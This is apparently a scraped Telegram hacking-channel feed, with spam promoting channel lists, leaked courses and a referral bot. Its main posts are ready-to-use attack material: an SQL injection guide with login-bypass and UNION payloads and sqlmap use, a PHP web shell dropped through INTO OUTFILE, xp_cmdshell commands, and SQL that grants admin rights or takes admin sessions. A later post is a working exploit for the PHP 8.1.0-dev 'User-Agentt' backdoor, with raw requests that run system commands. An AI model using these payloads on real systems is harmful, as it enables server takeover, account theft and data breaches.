ExploitQuest

"I discovered a vulnerability in a website that allowed me to escalate my privileges from a regular user to an admin. This privilege escalation granted me access to other users' data, the full database, and the admin control panel." https://t.me/ExploitQuest

CORS one liner command exploiter

This is an extremely helpful and practical Cheatsheet for Bug Hunters, which helps you find CORS missconfiguration in every possible method. Simply replace https://example.com with the URL you want to target. This will help you scan for CORS vulnerability without the need of an external tool. What you have to do is to copy-and-paste the commands into your terminal and finger crossed for any possible CORS. Github #SQLi #XSS #RCE #LFI #WebSecurity #Exploit #CVE

Today my birthday ❤️

Finding SQL Injection Vulnerabilities in Multiple Ways with Examples + Achieving RCE via SQLi

SQL Injection (SQLi) is one of the most critical web vulnerabilities, allowing an attacker to manipulate database queries, extract sensitive data, modify records, or even execute system commands (RCE - Remote Code Execution). This article will explore multiple ways to detect SQLi vulnerabilities with practical examples and then demonstrate how SQLi can lead to RCE. ━━━━━━━━━━━━━━━━━━

1. Discovering SQL Injection Vulnerabilities in Multiple Ways

🔹Method 1: Manual Testing with Special Characters The simplest way to test for SQL Injection is by inserting special characters such as:

' " -- # ;

Example 1: Injecting a Single Quote

'

If a website has a login page like:

https://example.com/login.php?user=admin

Try entering:

https://example.com/login.php?user=admin'

If an error appears like:

You have an error in your SQL syntax...

It indicates an SQL Injection vulnerability. ━━━━━━━━━━━━━━━━━━ 🔹Method 2: Injecting Simple SQL Queries If the backend SQL query looks like this:

SELECT * FROM users WHERE username = '$user' AND password = '$pass'

You can try the following payloads:

admin' --

or

' OR '1'='1' --

If you gain access without entering a password, the application is vulnerable. ━━━━━━━━━━━━━━━━━━ 🔹 Method 3: Using SQLMap for Automated Testing 🔹 SQLMap is a powerful tool for automated SQL Injection detection. Run:

sqlmap -u "https://example.com/login.php?user=admin" --dbs

SQLMap will analyze the URL and extract the database names if vulnerable. ━━━━━━━━━━━━━━━━━━ 🔹Method 4: Testing with SQL Sleep (Time-Based SQLi) If error messages are hidden, you can test for Time-Based SQLi:

https://example.com/page?id=1' AND SLEEP(5) --

If the page takes 5 seconds to load, the database is likely vulnerable. ━━━━━━━━━━━━━━━━━━ 🔹Method 5: Data Extraction via UNION-Based SQL Injection If a website displays data from a database, try injecting a UNION SELECT query:

https://example.com/page?id=1 UNION SELECT 1,2,3,4 --

If numbers or unexpected data appear, the website is vulnerable. ━━━━━━━━━━━━━━━━━━ 2. Escalating SQL Injection to RCE (Remote Code Execution) If SQL Injection allows file operations via LOAD_FILE() or OUTFILE, you can execute commands on the server. 🔹Example: Uploading a Web Shell via SQLi

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

Now, access the shell through:

http://target.com/shell.php?cmd=whoami

🔹If SQL Server has xp_cmdshell enabled, execute system commands like:

EXEC xp_cmdshell 'whoami';

This will return the current system user running the database service. ━━━━━━━━━━━━━━━━━━ 3. Exploiting SQL Injection to Gain Admin Access In some cases, SQLi can be used to escalate privileges by modifying session data:

UPDATE users SET is_admin = 1 WHERE username = 'victim';

Or steal an admin session:

SELECT session_id FROM users WHERE username = 'admin';

💡 Conclusion

•Test manually using ' and OR 1=1 •Use SQLMap for automatic SQLi detection •Escalate SQLi to RCE if the system allows file operations •Test SQL Sleep (Time-Based Injection) for hidden errors •Use UNION SELECT to extract sensitive data ━━━━━━━━━━━━━━━━━━

🚀 Join now

[https://t.me/ExploitQuest] #SQLi #XSS #RCE #LFI #WebSecurity #Exploit #CVE #Malware #ReverseEngineering

✨🎓 For lovers of free courses and fans of cybersecurity, malware, and hacking tools, we present to you the technological list. 💻🔐 Here, you will find all the channels that provide you with this and more! 🚀 🔗 Join now: https://t.me/addlist/2155mgzrShZlNGZk https://t.me/addlist/2155mgzrShZlNGZk ✅ To add your channel to the list, contact: @Yousef_404_x

Minutes and delete... Don't miss it ⚠️⚠️👆

✨🎓 For lovers of free courses and fans of cybersecurity, malware, and hacking tools, we present to you the technological list. 💻🔐 Here, you will find all the channels that provide you with this and more! 🚀 🔗 Join now: https://t.me/addlist/2155mgzrShZlNGZk https://t.me/addlist/2155mgzrShZlNGZk ✅ To add your channel to the list, contact: @Yousef_404_x

Join our group انضموا إلى مجموعتنا https://t.me/GlobalRedHatGroup

أهلاً وسهلاً بكم جميعاً، هذه مجموعة من القنوات الخاصة بنا والتي قد تفيدكم خلال رحلتكم في المجال التقني وخاصةً في الأمن السيبراني. @iiLinux

قناة عامة تقوم بنشر التقنيات العامة و تتميز بشروحات لينكس.

@GlobalRedHat

المجتمع الرسمي للقراصنة ذوي القبعة الحمراء.

@k7ali_linux

قناة تخص شروحات كالي لينكس بشكل مختلف ومتميز.

@ExploitQuest

قناة تهتم باكتشاف الثغرات و استغلالها بالإضافة إلى الشروحات المميزة فيها.

@EgyptianshieldTOOLS

قناة خاصة بالأدوات المستخدمة في البرمجة والأمن السيبراني.

@iiMrDark

قناة تقدم محتوى خاص بالتسريبات والبرامج.

@Wa3i_Tech

قناة تقدم الوعي في الأمن السيبراني وشروحات مبسطة.

@codearabs

قناة مختصة بتسريب كورسات الشركات المشهورة في المجالات التقنية.

@Egyshield

قناة مختصة بالشروحات والأخبار التقنية وتحديداً في البرمجة والأمن السيبراني.

@GlobalRedTeam

المجتمع الرسمي لـGlobal Red Team

@darkcsc

قناة خاصة بعلم الحاسوب وتحتوي على شروحات تخص الحاسوب بشكل عام.

✨🎓 For lovers of free courses and fans of cybersecurity, malware, and hacking tools, we present to you the technological list. 💻🔐 Here, you will find all the channels that provide you with this and more! 🚀 🔗 Join now: https://t.me/addlist/2155mgzrShZlNGZk https://t.me/addlist/2155mgzrShZlNGZk ✅ To add your channel to the list, contact: @Yousef_404_x

Minutes and delete... Don't miss it ⚠️⚠️👆

⚠️All those who are open Telegram now lucky minutes and delete the link ⏳ Join quickly, it is an opportunity to subscribe👇💓 🤍https://t.me/addlist/2155mgzrShZlNGZk 🤍https://t.me/addlist/2155mgzrShZlNGZk

Minutes and delete... Don't miss it ⚠️⚠️👆

✨🎓 For lovers of free courses and fans of cybersecurity, malware, and hacking tools, we present to you the technological list. 💻🔐 Here, you will find all the channels that provide you with this and more! 🚀 🔗 Join now: https://t.me/addlist/2155mgzrShZlNGZk https://t.me/addlist/2155mgzrShZlNGZk ✅ To add your channel to the list, contact: @Yousef_404_x

If you want to make money join this bot https://t.me/bums/app?startapp=ref_gTuGrkEZ https://t.me/bums/app?startapp=ref_gTuGrkEZ

Our new channel, for Red Hat Hackers https://t.me/GlobalRedHat

⚠️All those who are open Telegram now lucky minutes and delete the link ⏳ Join quickly, it is an opportunity to subscribe👇💓 🤍https://t.me/addlist/2155mgzrShZlNGZk 🤍https://t.me/addlist/2155mgzrShZlNGZk

Minutes and delete... Don't miss it ⚠️⚠️👆

✨🎓 For lovers of free courses and fans of cybersecurity, malware, and hacking tools, we present to you the technological list. 💻🔐 Here, you will find all the channels that provide you with this and more! 🚀 🔗 Join now: https://t.me/addlist/2155mgzrShZlNGZk https://t.me/addlist/2155mgzrShZlNGZk ✅ To add your channel to the list, contact: @Yousef_404_x

PHP 8.1.0-dev RCE via User-Agentt Exploit

Introduction In some versions of PHP 8.1.0-dev, a Remote Code Execution (RCE) vulnerability was discovered through an uncommon HTTP header called User-Agentt. This vulnerability can be exploited if the application processes incoming headers without proper sanitization, allowing arbitrary system commands to be executed on the server. How Does the Vulnerability Work? The vulnerability occurs when the application uses

$_SERVER['HTTP_USER_AGENTT']

unsafely, especially if the value is passed to functions like eval() or system(). If input validation is not implemented, attackers can execute unauthorized commands directly on the server. Example of Vulnerable PHP Code

<?php
$user_agent = $_SERVER['HTTP_USER_AGENTT'];
eval($user_agent);
?>

Why is this dangerous? Because an attacker can send an HTTP request with a User-Agentt header containing malicious PHP code, which will be executed directly on the server.

How to Exploit the Vulnerability

1. Testing Delay with sleep()

GET /index.php HTTP/1.1 Host: vulnerable.com User-Agentt: zerodiumsleep(5);

•If the response is delayed by 5 seconds, it confirms that the code is being executed successfully.

2. Executing a System Command

with system()

GET /index.php HTTP/1.1 Host: vulnerable.com User-Agentt: zerodiumsystem('id');

•If the server responds with user information such as:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

•this means RCE exploitation is successful.

3. Executing PHP via phpinfo()

GET /index.php HTTP/1.1 Host: vulnerable.com User-Agentt: zerodiumphpinfo();

•This might display the current PHP configuration, which helps in understanding the target environment.

Conclusion This vulnerability is extremely dangerous because it allows direct command execution on the server, potentially leading to a full compromise. Developers must be cautious about handling external inputs and always keep their PHP versions up to date.

#ExploitQuest #ExploitQuest @ExploitQuest